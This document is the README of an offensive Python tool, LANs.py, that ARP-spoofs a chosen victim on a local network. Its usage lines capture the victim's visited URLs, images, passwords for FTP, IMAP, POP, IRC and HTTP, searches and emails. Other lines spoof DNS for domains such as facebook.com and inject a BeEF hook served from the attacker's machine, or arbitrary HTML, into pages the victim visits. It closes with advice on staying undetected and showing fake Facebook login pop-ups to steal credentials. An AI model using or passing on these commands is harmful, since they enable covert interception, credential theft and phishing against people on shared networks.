Multithreaded asynchronous packet parsing/injecting arp spoofer.
Individually arpspoofs the target box, router and DNS server if necessary. Does not poison anyone else on the network. Displays all most the interesting bits of their traffic and can inject custom html into pages they visit. Cleans up after itself.
Prereqs: Linux, scapy, python nfqueue-bindings, aircrack-ng, python twisted, BeEF (optional), and a wireless card capable of promiscuous mode if you don't use the -ip option
Tested on Kali 1.0. In the following examples 192.168.0.5 will be the attacking machine and 192.168.0.10 will be the victim.
Simplest usage:
python LANs.py
Because there's no -ip option this will arp scan the network, compare it to a live running promiscuous capture, and list all the clients on the nextwork including their Windows netbios names along with how many data packets they're sending. so you can immediately target the active ones. The ability to capture data packets they send is very dependant on physical proximity and the power of your network card. then you can Ctrl-C and pick your target which it will then ARP spoof. Simple target identification and ARP spoofing.
Passive harvesting usage:
python LANs.py -u -d -p -ip 192.168.0.10
-u: prints URLs visited; truncates at 150 characters and filters image/css/js/woff/svg urls since they spam the output and are uninteresting
-d: open an xterm with driftnet to see all images they view
-p: print username/passwords for FTP/IMAP/POP/IRC/HTTP, HTTP POSTs made, all searches made, incoming/outgoing emails, and IRC messages sent/received; will also decode base64 if the email authentication is encrypted with it
-ip: target this IP address
Easy to remember and will probably be the most common usage of the script: options u, d, p, like udp/tcp.
HTML injection:
python LANs.py -b http://192.168.0.5:3000/hook.js
Inject a BeEF hook URL (http://beefproject.com/, tutorial: http://resources.infosecinstitute.com/beef-part-1/) into pages the victim visits.
python LANs.py -c '<title>Owned.</title>'
Inject arbitrary HTML into pages the victim visits. First tries to inject it after the first <head> and failing that injects prior to the first </head>. This example will change the page title to 'Owned.'
Read from pcap:
python LANs.py -pcap libpcapfilename -ip 192.168.0.10
To read from a pcap file you must include the target's IP address with the -ip option. It must also be in libpcap form which is the most common anyway. One advantage of reading from a pcap file is that you do not need to be root to execute the script.
Aggressive usage:
python LANs.py -v -d -p -n -na -set -dns facebook.com -c '<title>Owned.</title>' -b http://192.168.0.5:3000/hook.js -ip 192.168.0.10
All options:
python LANs.py -h
-b BEEF_HOOK_URL: copy the BeEF hook URL to inject it into every page the victim visits, eg: -b http://192.168.1.10:3000/hook.js
-c 'HTML CODE': inject arbitrary html code into pages the victim vists; include the quotes when selecting HTML to inject
-d: open an xterm with driftnet to see all images they view
-dns DOMAIN: spoof the DNS of DOMAIN. e.g. -dns facebook.com will DNS spoof every DNS request to facebook.com or subdomain.facebook.com
-u: prints URLs visited; truncates at 150 characters and filters image/css/js/woff/svg urls since they spam the output and are uninteresting
-i INTERFACE: specify interface; default is first interface in ip route, eg: -i wlan0
-ip: target this IP address
-n: performs a quick nmap scan of the target
-na: performs an aggressive nmap scan in the background and outputs to [victim IP address].nmap.txt
-p: print username/passwords for FTP/IMAP/POP/IRC/HTTP, HTTP POSTs made, all searches made, incoming/outgoing emails, and IRC messages sent/received
-pcap PCAP_FILE: parse through all the packets in a pcap file; requires the -ip [target's IP address] argument
-v: show verbose URLs which do not truncate at 150 characters like -u
Cleans the following on Ctrl-C:
--Turn off IP forwarding
--Flush iptables firewall
--Individually restore each machine's ARP table
Technical details:
This script uses a python nfqueue-bindings queue wrapped in a Twisted IReadDescriptor to feed packets to callback functions. nfqueue-bindings is used to drop and forward certain packets. Python's scapy library does the work to parse and inject packets.
Injecting code undetected is a dicey game, if a minor thing goes wrong or the server the victim is requesting data from performs things in unique or rare way then the user won't be able to open the page they're trying to view and they'll know something's up. This script is designed to forward packets if anything fails so during usage you may see lots of "[!] Injected packet for www.domain.com" but only see one or two domains on the BEeF panel that the browser is hooked on. This is OK. If they don't get hooked on the first page just wait for them to browse a few other pages. The goal is to be unnoticeable. My favorite BEeF tools are in Commands > Social Engineering. Do things like create an official looking Facebook pop up saying the user's authentication expired and to re-enter their credentials.
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